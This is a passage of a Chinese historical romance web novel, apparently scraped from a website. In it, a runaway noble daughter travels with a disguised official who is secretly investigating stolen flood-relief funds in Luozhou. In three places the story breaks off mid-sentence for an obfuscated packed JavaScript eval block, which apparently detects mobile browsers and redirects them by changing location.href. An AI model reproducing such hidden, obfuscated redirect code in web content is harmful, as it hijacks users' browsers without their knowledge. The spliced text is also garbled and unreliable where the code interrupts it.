盛乔声音里带着点鼻音,“腿疼。”
“是刚才受伤了?”
盛乔摇了摇头,指着自己的小腿,可怜巴巴地说:“都怪你,刚刚跑得太快,现在我的小腿好疼。”
大约是抽筋了。
徐肃年朝她伸出左手,问:“还能站起来吗?”
盛乔抬头看他一眼,试探着想要站起来,还没站直,又哎呦一声跌回去,“啊啊啊好疼……我走不了了。”
疼得她都顾不上生气,两只手紧紧抓着徐肃年的手臂,额上已生出了冷汗。
徐肃年蹙眉看向四周,看到巷子口堆着几块碎石,他让她在原地等一会儿,然后搬了两块石头过来,叠放在她身边。
“坐过来。”徐肃年说。
盛乔盯着那两块又脏又糙的大石头,有些犹豫,可一触到男人那颇有些不耐烦的神色,又没有多说什么。
这巷子又偏又破,他把自己丢在这怎么办。
盛乔抚了抚石头上的脏东西,咬牙坐下,两条腿曲在身前。
她刚一坐下,徐肃年便跟着在她身边蹲了下来,一手捉住她的脚腕,一手托住她的左腿腿肚。
盛乔被他这突然的动作吓了一跳,“你,你要干什么?”
她下意识就要抽腿,却被男人握得更紧。
徐肃年抬头看她一眼,解释道:“你的腿抽筋了,需要揉开。”
这这这,盛乔看着男人握在自己小腿处的的一双大手,虽然隔着裤子和靴筒,可,可……
她的耳朵微微发红,小声道:“可是男女授受不亲,这样……”
话没说完,被一记冷厉的眼神截断了。
“好,那你自己跑回去。”
说完,徐肃年便故意做出要起身离开的动作。
盛乔真以为他要把自己扔在这,忙伸手去抓他,但因为他的步子太大,没抓住袖子,指尖往下一滑正好攥住了他的手。
同行这几日,两人也不是没有过越界的接触,但至少也都隔着衣裳,就像刚才拉着她跑到巷子里的时候,也是抓的手腕,如此手碰手的直接触碰还是第一次。
男人的手温热修长,和女人的手很不一样,盛乔握上去的时候,能清晰地感觉到他指腹的粗糙的茧子,摸着有点痒。
她下意识蹭了一下。
像是被小猫抓过,徐肃年指尖颤了颤,飞快将手收了回来。
“咳,”徐肃年回头看她还仍旧停留在半空的手指,“不是男女授受不亲么?小娘子这是什么意思?”
盛乔看着他,“你要把我自己扔下?”
徐肃年叹了口气:“不想让我把你扔下,就老实点。”
说完,徐肃年再度蹲回她的身侧,伸手握住了她的左腿。
盛乔下意识地挣动了一下,正巧男人抬头朝她看过来,她莫名心虚,又乖乖地把腿挪了回去。
徐肃年掌心收力,左手掐着她的脚腕,另一只手不轻不重地在她小腿的腿肚上揉捏起来。
盛乔控制不住地要喊疼,可还没出声,就被男人特别有先见之明地打断了,“闭嘴。”
好凶啊。
他是不是忘了自己是谁了?哪有这么和主人说话的车夫。
人在屋檐下,盛乔咬着嘴唇不敢叫,眼睛里却写满了愤愤的情绪。
直到徐肃年帮她两条腿都按摩完,问:“怎么样,好些了吗?”
盛乔仍是不说话。
徐肃年蹙眉,他最近总是蹙眉,“怎么不说话,还不舒服?”
盛乔这才瞪着圆溜溜的眼睛,说:“不是你让我闭嘴的么?”
徐肃年:“……”
他无语地撑着膝盖站起来,说:“这回可以走了吗?”
他声音里的不耐几乎要溢出来,盛乔不满地撅了下嘴,哼道:“有你这么和主人说话的吗?”
幸亏没有喝水,徐肃年才没有让自己真的被呛到,主人……
好罢,是他忘了自己现在还是个车夫。
他偏头看着盛小娘子不情不愿的眼神,无奈道:“好,你是主人,那怎么办?难道要我背你回去?”
他原本也不过是随口一说,不料那盛小娘子竟真的点了点头,命令道:“好,那你蹲下去。”
徐肃年几乎以为自己听错了,“做什么?”
“不是你说要背我的?”盛乔振振有词,“而且我是主人,你是车夫,你不需要问为什么,只要听从主人的命令就是了。”
徐肃年反问:“不是男女授受不亲么?”
“你能背我是你的福气。”盛乔这会儿异常的伶牙俐齿,“你不知道,这世间有多少郎君想背我都背不到呢。”
见他仍不动,她干脆伸手去拉他。
徐肃年被她推着转过身去,被迫蹲在她的面前,冷笑道:“那我还要谢谢小娘子您的恩赏了?”
盛乔毫不客气地爬上他宽阔的背,“你知道就好。”
徐肃年无奈托住她,心想,一个小娘子能有多重,只当她是腿伤走不了路罢。
也算是行善积德。
盛乔自然是不知道他在想什么,她看着男人伏在自己身下的臂膀,颇有些得意,还有点新奇。
她在家中行末,上面三兄两姐,都比她年长很多,虽然他们都对她很好,甚至可以说是纵容,但盛乔其实并没有真正意义地和他们长时间相处过。
而且她不爱出门,平时宴会都很少参加,也没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279241|166759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么相好的手帕交。
虽有一个表姐郑墨,奈何盛乔的外祖家并不在长安,且郑墨十几岁就出门游历,常年见不到影子,两人更多是书信往来。
所以她身边其实很少有能说话的同龄人,多少也会觉得寂寞。
盛乔自己也没想到,她会在一个车夫身上体会到“朋友”的感觉,虽然他是下人,可与她相处时,他并没有低人一等的心思,反而是平等的。
而且,这几天的相处下来,她或多或少地感觉到了他的特别,他仿佛去过很多地方,也懂得很多东西,会把脉问诊,甚至能够一脚踹飞一个地痞流氓。
在盛乔心目中,上一个这么厉害的人,还是郑墨呢。
也正是因此,对于他的冒犯,她始终没有真正生过气,甚至生出一点探究的念头。
犹豫半晌,她忽然问道,“徐少安,你的功夫那么好?没想过要投军么?”
徐肃年怔了一下,“为什么要投军?”
盛乔说:“我只是替你觉得可惜,这几日相处下来,我能听出你是个读过书的人,只是碍于身份才不能去考科举。这当然很可惜,但现在看来,你武艺也很好,若是考不成科举,去投军也不失为一条出路。”
这话教他如何回答?徐肃年沉默了一会儿,才胡编道:“家里……情况不允许。”
听他这么说,盛乔忽然想起自己当时之所以没在车行见到他,好像就是因为他回家去安置母亲了。
还真是孝顺。
“你母亲是不是身体不太好,家里除了母亲,还有别人吗?”盛乔问。
“不太好……”徐肃年犹豫了一下,“还有两个弟弟。”
“你弟弟多大了?”
没想到这小娘子这么刨根问底,徐肃年懒得再胡编,干脆直接照搬真实情况,反正她也不知道,“一个十七,一个十四。”
“你大弟弟比我还大一岁呢。”盛乔思考道,“按理说,他应该可以照顾你母亲了吧?”
听出她的话音不对,徐肃年微不可察地蹙了下眉,“小娘子到底想说什么?”
“我只是觉得你人很好,今日又救了我,我想报答你。”盛乔认真地说,“我二叔就在军中,虽然我如今离家了,但我只要写一封信给他,说你是我的救命恩人,再向他举荐你,我二叔一定不会拒绝的。”
还是第一次有人对他说,你人很好。
徐肃年愣了一下才想起来拒绝,“……不必劳烦小娘子了,您只要付我工钱就行了。”
“工钱是工钱,报恩是报恩。”盛乔以为他是重文轻武,嫌弃军中苦累,不由得有些急切地劝道,“你知不知道,你的身份是不能科举的?从军对你来说已经是最好的出路了,虽然离家千里,军中条件也艰苦些,但近些年朝廷已经没再打仗了,你知道踏实肯干,又有我二叔在,以后的路肯定比你现在好,你的眼光……”
她一着急,话就多起来,让徐肃年想打断都找不到机会。
本不想再理会,可这小娘子也实在太过唠叨。
徐肃年停住脚步。
果不其然,盛乔也跟着停下,迟疑地问:“怎么了?”
徐肃年佯装听到了什么声音一样,左右看了看,声音也跟着压低,一副警惕的模样,“好像有人。”
“有人?”盛乔就像是只受惊的兔子,刚才还撑在他的肩上指点江山,这会一下子就老实了,紧张地伏身,“难道是那些人还没走远?”
“也许。”徐肃年压下唇角的笑,“所以小娘子你最好说话小声一点,再将他们引来就不好了。”
盛乔立刻捂住嘴巴,“我不说了不说了,我们快走吧。”
徐肃年对她的反应很满意,继续往前走。
可他没想到的是,这小娘子实在有些紧张过度了,她不仅整个人趴上来了,搂着他脖子的手也越抱越紧。
这下,少女的整个上半身都贴在了他的背上,柔软挤压的触感异常明显,像是周身覆了一朵云。
徐肃年整个人一僵,再度停下了脚步。
8. 洛州
8.
盛乔此时便如惊弓之鸟,见他再度停下步子,抓着他肩膀的手下意识收紧,“他们,他们过来了?”
她这一动作,几乎就是将整个上身都挤到了男人的肩上,盛乔自己因为紧张而无所察觉,徐肃年却感觉十分难熬。
难怪古人云男女授受不亲,果然是有道理的。
少女的身段实在太娇太软,紧紧贴在他的背上,不算很薄的布料好像一下子消失了,徐肃年仿佛能隔着胸腔脊骨感觉到她温热的心脏,在一下下蓬勃跳动。
有点太越矩了。
徐肃年感觉自己衣服下的汗毛都竖了起来,额角也莫名有了汗意。
“小娘子,你,抱得太紧了。”他提醒。
盛乔这才反应过来,啊了一声,忙松开环着他脖子的手臂,但也只是松了手臂,上身依然贴着他没动。
没想到她如此不自觉,但徐肃年也不好再提醒什么,只得强忍着身后的异感,加快了脚步。
好在客栈离得不算远,徐肃年腿长脚长的,不足一盏茶的时间就走到了。
两人出去的时间不短,琥珀睡醒之后找不到人,就一直守在客栈门口等,此时看到徐肃年背着盛乔回来,先是惊了惊,而后赶忙迎上去,担心道:“小娘子可是受伤了么?”
先前在小巷子里,只有两个人在,当时盛乔让徐少安背她回来的时候,并没有半点不好意思,甚至隐隐得意占了上风。
可不知为何,面对琥珀,她忽然觉得不自在起来,轻咳了一声,拍拍男人的肩膀,示意他放自己下来。
然后对琥珀说:“我没事,只是走得有些累了。”
琥珀将信将疑地看了他俩一眼,但见盛乔跳下来时果然腿脚灵活,倒也识趣地没再追问,小心扶着盛乔上楼去了。
徐肃年还定在原地没动。
盛乔走了几步忽然想起来什么,回身对他说:“方才我与你说的话,你一定要好好考虑哦。”
她的眼神直白又热切,以至于徐肃年竟有些无法拒绝,下意识地就点了点头。
盛乔这才满意,站在台阶上对他弯着眼睛笑了笑,然后拎着裙摆和琥珀一起跑上楼了。
徐肃年又在外面站了一会儿,才终于走进客栈,拾阶而上。
他的房间内,齐甄已经独自等了很久,一见到徐肃年进来,忙上前行礼,“郎君。”
徐肃年走进来关上房门,问:“卢烨那边怎么样了?”
齐甄从怀里掏出一封密封严实的信,双手呈递给他,“昨日卢大人就已经住到了洛州城的驿站,也和洛州的几个大人见过面了。这是卢大人写给您的信。”
徐肃年走到书桌后面坐下,接过信封拆开,将信纸摊在桌上仔细看起来。
卢烨虽是状元,但空有学识,为官经验不足,这些年又是待在翰林院,接触的都是相对单纯良善的文人学子。
他在洛州两天,虽然已经接触了洛州的大部分官员,但是并没有什么发现,反而在信中赞赏洛州是繁华之地,不输长安。
不过,他当年能考中状元,到底不是书呆子,也知道皇帝能命他们二人来探查,绝不会这么简单。因此他在信末又特地附了一句:无论如何,微臣一切听从端阳侯安排。
对于他的这封信,徐肃年并不意外,卢烨若是这点觉悟都没有,这桩差事是绝不会落到他的头上。
皇帝虽然想让自己的人来分功,却也不会故意给他使绊子。
齐甄给他倒了杯茶,递到他的手边,然后问道:“郎君接下来有什么安排?”
徐肃年将茶放到了手边,说:“查案最忌急功近利,你只告诉卢烨,让他这几日多在洛州城内走动走动,主动结交洛州的官员便是,其余的,等我明日到洛州再说。”
齐甄有些惊讶,“郎君不是计划在洛水县多留几日么?”
徐肃年冷声道:“洛水距离洛州城不过五六十里,一处繁华,一处衰败,如此已经足够说明问题了,就算再待下去也是浪费时间。”
方才出门那一路上,几乎没看到几家开着的门店,路上更是行人寥寥。连商户都待不下去的县城,可想而知那上百万两的赈灾银都到了谁的肚子里。
齐甄方才来的时候,也看到了街上的景象,忍不住叹道:“看来这洛水的周志纯,也不干净。”
洛州下辖十八县,徐肃年之所以选中洛水,除了此处临水受灾严重之外,还有一个原因,就是这里的县官周志纯。
他曾是大梁最年轻的状元,一路青云直上,二十岁时就进了御史台,任御史中丞,后又直升刑部,户部,直到三十多岁的时候,被皇帝贬官到了洛水县,至今已近三年。
大家都传,周志纯是因为为人过于耿直,得罪了朱皇后的母家惠国公府,本该处斩,但皇帝爱惜人才,才会将其下放到洛水做县令。
徐肃年当时在军中,内里原因并不清楚,这些年也很少再听到有关周志纯的消息,直到此次离京前,皇帝将他召进宫,主动提起了此人,“若你觉得人手不够,周志纯或许可用。”
徐肃年恭谨领命,没再多一句话,但他很明白,皇帝还有没说完的后半句——
“不可用,则杀。”
此时听到齐甄的话,徐肃年眸光微微一颤,但他什么都没说。
眼看天色欲沉,仿若有下雨的迹象,齐甄说完正事也没再久留,很快翻窗走了。
房间里只剩徐肃年一人,他看着桌上的信,摸了个火折子点燃,然后扔到了墙角的火盆里。
外面的天渐渐黑了下来,房里没点灯,那跳跃的火焰成了唯一的光亮,将徐肃年枯坐的身影压扁,再拉长。
不知过了多久,信纸被燃烧殆尽,最后一星火焰随着夕阳一并没入黑暗,徐肃年直起身,端起桌上早已冷透的茶,缓缓饮尽。
只是计划赶不上变化,第二天,他们没能准时出发。
盛乔一觉睡到中午,坐起来时见外面的天还是黑的,若不是琥珀正在床边叠衣服,她还以为是半夜。
“怎么这么黑?”盛乔迷迷蒙蒙地揉眼睛。
琥珀见她醒了,一边点灯,一边说:“打了半宿的雷,现在外面还下着雨呢,今日怕是赶不成路了。”
竟然从半夜就开始下了,盛乔睡得沉,完全没听到动静。
今天天冷,琥珀拿了件厚衣服给盛乔披上,问:“小娘子饿不饿?”
盛乔慵懒地打了个呵欠,说:“天这么黑,我不想一个人待在屋子里,一起去吧。”
“好。”
琥珀答应着,倒了热水伺候盛乔梳洗。
两刻钟后,两人一起来到客栈大堂。
盛乔本身醒来的时候就已经很晚了,又梳头发换衣服磨蹭了时间,等她们下来的时候,已经过了平时的饭点。再加上今天天气不好,盛乔还以为大堂里不会有什么人。
没想到下来之后,人竟一点不少,只是没什么人在桌边坐着,都挤在了窗口和门边。
盛乔和琥珀找了个位置坐下,柜台后面的伙计过来招呼,“两位小娘子用点什么?”
盛乔点了一碗鸡丝面,然后有些好奇地指了指门口聚集的人群,问道:“他们是在看什么呢?”
店小二记下两人点好的菜,说:“听小娘子的口音,应当不是咱们洛州的人吧。”
盛乔点点头。
店小二解释道:“咱们洛水县临近洛水,平时最怕暴雨,万一冲塌了河堤,怕是整个县城都要被淹了,大家也都是担心,想看看这雨什么时候停。”
“竟是这样……”盛乔很是惊讶,不由得也跟着往外面看。
虽然这雨已经接连不断地下了很久,却没有半点要停下的架势,冷风吹着雨滴噼噼啪啪打在窗棱上,仿佛敲进了人的心里。
本来就不太饿,现在看着人群,盛乔更是食难下咽,鸡丝面送上来后,她随便垫了几口就撂下了筷子,也跟着走到了窗户边。
她并不是没见过这么大的雨,只是从没想过,这样一场雨竟然会影响一城百姓的命,让他们为之担惊受怕。
莫名的,盛乔心里有些难过,她将视线转向拥挤在门口的人群,忽然发现了一个熟悉的身影。
“徐少安?”她惊讶地叫道。
徐肃年闻声转头,似也没想到她会在这时候下来,愣了一下,才走过来,“小娘子下来做什么?”
盛乔指了指仍在用膳的琥珀,说:“本想吃点东西,没想到雨竟然还下得这么大。”
因为听了方才店小二的话,她的声音里不由自主地带了一点悲悯。
徐肃年闻言看了她一眼,眼底有什么复杂的情绪划过。
盛乔感觉到他的目光,偏头去看他,奇怪地问:“怎么了?”
徐肃年没说话,仍旧看着她,漆黑幽深的眸子里尽是些看不懂的情绪。
盛乔被他盯得莫名不自在,她照旧怀疑自己,摸摸头摸摸脸,却没摸到什么不对。
“喂。”她推了一下徐肃年的手臂。
徐肃年这才收回视线,半垂着眼帘看她作怪的手。
“你一直盯着我看干什么?”盛乔色厉内荏地瞪他一眼,然后命令道,“不许你这么看我。”
原本很是沉重的心情仿佛一下子被打破,徐肃年故意又把视线移到她的脸上,“为什
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279242|166759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么?”
“没有为什么,就是不许。”盛乔蛮横道。
“好罢,一切听小娘子的命令。”徐肃年哼笑一声,慢吞吞答应下来。
盛乔听出他言语间的戏谑,莫名有些耳热,她抬手使劲揉了揉不听话的耳朵,然后赌气似的把脑袋扭向窗外。
徐肃年勾了下唇,也跟着往外看去。
窗外瓢泼大雨,屋内人声喧闹,两人就这么并肩站在窗边,谁都没有再开口。
直到不远处的街上突然出现了几个穿着蓑衣戴着斗笠的男人,盛乔一下子就忘了自己刚才说过的话,一手扯住身边人的袖子,一手指向窗外,“你快看,这么大的雨,还有人出来呀。”
徐肃年看着那群人手上拎着的工具,微微眯起眼睛,“他们是去清理河堤的。”
“清理河堤?”盛乔很是不解,“这种事难道不该是官府的人做么?怎么就派这么几个人去。”
大约是官府不管罢。
徐肃年的视线在那几个人中停留了一瞬,到底没把这话说出来。
“看来今日是不能赶路了。”他随口转开话题。
“谁让天公不作美呢。”盛乔很容易就被牵走思绪,“看来只能在洛水县多待几天了。”
她默默念叨,“希望这雨早点停下吧。”
幸而老天爷是开眼的,到了傍晚,雨势就默默减小了,等到第二天晨起,已经是晴空万里。
不过路上仍然有很多积水,城外估计更加泥泞。为了安全,他们又多停留了一日才出发。
洛水县离着洛州不远,出城后,官道上的行人明显多了起来,甚至还有绿眼睛卷头发的胡人。
盛乔将车窗推开,兴致勃勃地趴在窗边往外看,“好像到了长安啊。”
徐肃年回头看她一眼,有些奇怪地问:“小娘子没来过洛州城?”
他记得以前听母亲说过,盛家的大娘子的娘家原先就在洛州。
盛乔反而觉得他这话奇怪呢,“当然没来过,我以前都没出过长安。”
徐肃年试探道:“你外祖家呢,也在长安么?”
“我小时候,我外祖在洛州做官,但三年前就致仕回了襄州祖宅,因为离得太远,我从来没去过。”说到这些,盛乔明显有些落寞,“我不怎么爱出门的。”
想到她这一路上活泼兴奋的模样,可一点都不像是“不爱出门”的模样。
徐肃年抽了抽唇角,也没有再问。
盛乔一向是情绪来得快,去得也快,马车不过又往前行了几百步,她就已经忘了方才的话题,重新开心起来,“我表姐曾告诉我说,洛州繁华不输长安,等我们到了,我一定要好好在洛州玩上几天。”
徐肃年并不意外,但还是故意道:“不急着跑了?”
盛乔瞪他一眼,“不要说那些晦气的话!”
她探头看着外面的太阳,说:“只是没想到洛州比长安热那么多,我带的衣裳都太厚了,穿在身上闷死了。”
“马上就要进城了,再忍忍吧。”
盛乔拿帕子擦了擦额角的汗,只觉得自己一刻都等不了了,“我们进城之后,我和琥珀先下车,你找好客栈再回来接我们。”
半个时辰后,马车进了洛州城,徐肃年将马车停在最热闹的主路,让她们主仆俩下车。
近十天的相处,盛乔已对他十分信任,她让琥珀拿了住客栈的银子给他,叮嘱道:“记得来接我们。”
徐肃年接过荷包,下意识叮嘱了一句,“别乱跑。”
洛州城的确繁华,想着这一路上太过艰苦,徐肃年特意找了一家最大的客栈,订了两间上房。
天气是真热,徐肃年身上的衣裳也有些厚,上楼梯的时候没走几步就出了一身汗。
给他指路的店小二见他不停地擦汗,周到地问:“要不要小的叫人送些热水上来,您路上疲乏,先泡一泡澡才是。”
徐肃年只犹豫了一瞬,便道:“先不用了。”
那小娘子人傻又不识路,他若是去晚了,只怕会走丢。
这么想着,徐肃年一刻也没有耽搁,换了身衣裳便往他们方才约好的位置走去。
快要走到的时候,又有些后悔,小娘子逛街向来最耗时间,他会不会来得太早。
正想着,忽然听到街对面传来一声响亮的,熟悉的——
“徐少安!”
徐肃年脚步一顿,转头看过去,只见那小娘子正趴在成衣铺二楼的窗口,一边笑着一边朝他招手,弯弯的眼里盛满了明媚的阳光。
“徐少安,快来!”她喊道。
今天的太阳好刺眼。徐肃年心想。
9. 衣裳
9.
二楼窗边,盛乔见男人一直在原地愣着不动,有些不满地催促,“快上来呀。”
徐肃年这才回过神,不紧不慢地走进街对面的成衣店。
盛乔是个急性子,趁他走过来的时间,已经下到了一楼,徐肃年一进去就看到了她。
方才她在二楼窗口,只露出半个身子,徐肃年并未注意到她的衣裳,直到她此时轻快地朝自己跑过来,徐肃年才发现,原来她已经换了一身轻盈的女装。
自离开长安,两人已经相处了近十天,这期间,盛乔为了出行方便,一直都是穿着男装,包括她从家里跑出来的那一天。
因此,纵然徐肃年早知道她是一个长得很是漂亮的小女郎,但也仅限于那张全然不施粉黛的面孔,远不如此时换了女装之后的冲击力大。
天气热,洛州的裙装比之长安用料更轻薄,更节省,款式颜色也更为大胆。
盛乔此时上身穿着一件嫩黄色的直领襦衫,上饰繁复华丽的宝相团花。下着一件绛紫色曳地纱裙,裙尾用金线绣了一圈蝴蝶纹,随着她的脚步扬起、落下。
徐肃年看着她朝跑过来时,就像她裙尾的蝴蝶,美丽娇俏,灵动翩然。
徐肃年忽然发现自己根本不记得她穿男装是什么样子了。
她之前也有这么漂亮吗?
徐肃年想着,脚步微顿,又见她跑得太快,下意识就想伸手去扶她,不料盛乔根本没发现,走过来之后,有些不解地盯着他微微抬起的手,“你朝我招手干什么?”
徐肃年无语了一瞬,立刻把手收了回来,“没什么,你看错了。”
“是么?”盛乔用怀疑的眼神瞄他。
“衣服买好了,还叫我进来做什么?”徐肃年聪明地选择转移话题。
盛乔没回答,只是指着他身上的衣服,“你不热吗?”
徐肃年皱眉,“干什么?”
“我和琥珀都买了衣服,单剩你一个人算什么?”盛乔朝他眨眨眼,大方道,“这家成衣店不是只有女子裙装,二楼还卖男子的衣裳,你去看看有没有喜欢的,我付钱!”
她真的很活泼,说话时也没一会儿安静,刚刚还站在徐肃年的身边,说着说着就已经绕到了他的正前方。
徐肃年稍一低头,就能看到她胸口处裸露的肌肤,白得有些晃眼。
他连忙偏过了头。
盛乔对他的这个动作表示不满,抬手推了推他的手臂,气道:“徐少安,你到底有没有在听我说话啊。”
徐肃年又把手臂也收回来,“小娘子方才说什么?”
根本没在听嘛。
盛乔瞪他一眼,“我说!要给你也买一件衣裳!”
说完,也不等徐肃年是答应还是反对,兀自拉住他的胳膊,推着他往楼上走去。
徐肃年拗不过她,就这样被她拽到楼上,期间许多人都递来好奇的目光,徐肃年都没忍住轻咳了一声掩住半张脸,盛乔却浑然未觉。
她将徐肃年拉到最里面的一排架子,指着其中一件浅蓝色的窄袖长袍,对他说:“我觉得这件好看。”
徐肃年看她一眼,没说话。
盛乔又指着蓝色旁边的那件银红色的,问:“那个呢?”
徐肃年对她的品味实在不敢恭维,委婉道:“还是多谢小娘子的好意,我并不需要。”
怎么会不需要?
盛乔偷偷抬眼看他的表情,眼底藏着一丝促狭。
她当然知道这男人为什么不满意,这十多天来,他身上的衣裳都是一水儿的墨色,再没看到过第二种颜色,只看着就觉得阴沉。
可她不觉得徐少安是一个这样的人。
明明那么年轻,模样又那么俊,就应该好好打扮一下嘛。
想到这,盛乔干脆不再征询他的意见,直接吩咐店里的娘子,让她们把自己刚才指到的两件衣裳都帮自己包起来。
徐肃年皱眉,“小娘子,我说……”
可还没说完就被盛乔打断,“谁付钱谁说了算。”
“好。”徐肃年被噎了一下,“反正我不会穿。”
他的语气很生硬,但盛乔一点都不生气。
正巧此时店里娘子包好衣裳送过来,盛乔一边接过来,一边说:“是我送给你的,你不穿也没关系。”
她并没有强迫的意思,仍旧眉眼弯弯,“只是我觉得,你穿上一定会很好看。”
说完,她将那两件衣服塞到了他的怀里。
徐肃年下意识接过,看着盛乔离开的背影,缓步跟了上去。
出了成衣店,又去逛了别的铺子,除了衣裳,又买了一大堆的胭脂水粉,头面首饰。徐肃年这个车夫临时当起了苦力,两只手都被塞得满满当当。
等再回到客栈时天都黑了,店小二很有眼力见,忙凑过来帮他们把东西搬回房。
盛乔累得双腿发软,连吃饭的力气都没有,一阵风似的就飘回了房间。
徐肃年也没有用晚膳,跟在她后面回了自己的客房,一推开门,就看到桌上放着一个包袱,应当是店小二刚刚送过来的。
他走过去掀开一角,果然是今天白天盛小娘子给他买下的那两件衣裳。
看着那过于亮丽的颜色,小娘子在成衣店里对他说过的话仿佛又在耳边响起——
“我觉得,你穿上一定很好看。”
从小到大,徐肃年听到过数不清的恭维和奉承,但还是第一次听到这样直白的夸奖。
也是第一次有这样的经历。
即便是最爱他的母亲,也不曾像今日这样给他买过衣服。
徐肃年感觉有些陌生,还有一点新奇。
他不自觉地打开了包袱,视线落在最上面那一件银红色的圆领袍上。
但还没等他伸手去拿,忽听得窗外传来两声清脆的敲击声。
是齐甄来了。
徐肃年一怔,莫名有些心虚地将装着衣
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279243|166759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
服的包袱重新盖上,这才走过去把窗户打开。
齐甄身手利落地从窗户里翻进来,身上还背着一个不算大的包袱,见礼道:“郎君。”
徐肃年嗯一声,关上窗户,问:“卢大人那边如何了?”
齐甄回道:“卢大人一直在按照您的命令,结交洛州的官员,只是不知道您接下来的计划,难免有些慌。”
徐肃年蹙了下眉,道:“的确该与他见一面了。但客栈人多眼杂,暂时还没有合适的机会。”
齐甄立刻道:“郎君,先前您吩咐齐源提前给您找的宅子,他已经找好了,就在月华坊,离着州县衙门和官家驿站都不远。”
宅子?
徐肃年愣了一下才想起来自己曾经的吩咐。
刚接这桩差事的时候,徐肃年就已经料到不会轻松,想必会在洛州待上一段日子。为了行事方便,他特意派了手下齐源先一步到洛州,提前租一个宅子。
此时刚过去十多日,徐肃年竟差点把这件事忘了。
见自家郎君表情不太对,齐甄很是尽职尽责地帮他回忆了一遍,然后问道:“郎君是继续住在客栈,还是搬到宅子里去住?”
客栈人多眼杂,根本不利于查案,当然应该住到宅子里去,一切低调行事。
可他若在此时搬走,又如何对盛家小娘子解释。
他难得有这样犹豫的时候,沉默片刻,道:“还是……”
“还是暂时住在客栈,你将那宅子的位置告知卢大人,我明日亥时自会去见他。”
反正盛小娘子也不会在洛州待太久。
齐甄虽不解缘由,却也不敢再问,只得应下。
徐肃年又与他交待了些正事,有些疲乏地按了按额心,这一路的颠簸,加上半日的闲逛,他多少还是有些疲惫。
齐甄很有眼力见,拍了拍身上的包袱,说:“郎君先歇歇吧,洛州天热,属下正好帮您带了夏日的薄衫,顺便再帮您拾掇一下房间。”
徐肃年应一声,走到长榻边正欲歇息片刻,忽听齐甄惊讶道:“郎君,这是您的衣裳?”
徐肃年一怔,循声看过去,果然看到齐甄正抖落着那两件新买的亮色衣裳,眼里写满了不可置信。
“不是我的。”徐肃年轻咳一声,淡定道,“大约是别的客人买的,小二送错房间了。”
齐甄毫不怀疑,“我就说郎君怎么会有这种样式的衣服。”
说着,他把那两件衣服重新塞回包袱皮里,“既如此,我一会儿直接帮郎君扔掉罢。”
“等等——”
徐肃年下意识出言阻止。
但在触到齐甄不解的目光后,还是把话咽了回去。
说到底,他与那小娘子只是恰巧同行,他此行是为了公事,她也有更远的目的地。
两人迟早都会分开。
不合适的衣服,留着又能做什么?
徐肃年眸光微垂,决定道:“处理了吧。”
10. 竹马
10.
自从离家之后,盛乔觉得自己明显变懒了,只要不赶路,总是要睡到日上三竿才起。
但又想到近来赶路是那么辛苦,她又心安理地赖到了午时,直到饿得肚子都瘪了,才终于起床梳洗。
先前她穿男装时,一向是不施粉黛,长发也是随意一扎,难得昨日买了几件新裙子,盛乔特意为此上了妆,还让琥珀给她梳了一个新的发髻。
时下男女大防并不苛刻,至少盛乔从前出门从不遮面,今日也不知想到什么了,忽然往头上扣了个帷帽。
琥珀惊讶地看着她,“小娘子,咱们不是要去吃饭么。您带上帷帽做什么?”
盛乔哽了一下,不好意思说原因,忙又把帷帽扔回了桌上。
幸而此时已经过了饭点,一楼大堂根本没有几个人,盛乔总算松了口气,和琥珀在窗边的位置落座。
还不等她们招呼小二过来点菜,一直守在柜台后的掌柜的竟亲自走了过来,“小娘子……”
盛乔循声看过去,面露疑惑。
掌柜的看到她的脸,总算是放了心,谄笑道:“是盛小娘子吧。”
“你是谁?”盛乔更奇怪了,“你怎么会认识我?”
掌柜的从怀里掏出一封信,说:“这是郑娘子嘱托小的交给您的信。”
郑娘子?
盛乔愣了一下,“表姐的信?”
她惊疑不定地接过,信封上竟真的是郑墨的笔迹。
表姐怎么会知道她在这?
盛乔迫不及待地拆开了信封,一目十行看完,眼睛都发亮。她欢喜地看向身边的琥珀,开心道:“表姐竟然也在洛州!”
琥珀同样十分惊讶,“不是在江州么?”
“我也不知。”盛乔摇了摇头,她看了看外面的天色,决定道,“表姐留了信,先不吃饭了,我们先去找她。”
郑墨的信很简短,只说了自己的现况,然后附上了一个地址,让盛乔得了空去找她。
盛乔把信叠好收起,当即就要往外走,想了想又顿住,对琥珀说:“你去瞧瞧徐少安在房间吗?”
琥珀应一声就要上楼,却又被盛乔拦住了,“算了,我去吧。”
她还记得琥珀私下偷偷和她说,她有点怕那个车夫来着。
但其实她不太明白徐少安有什么好怕的。
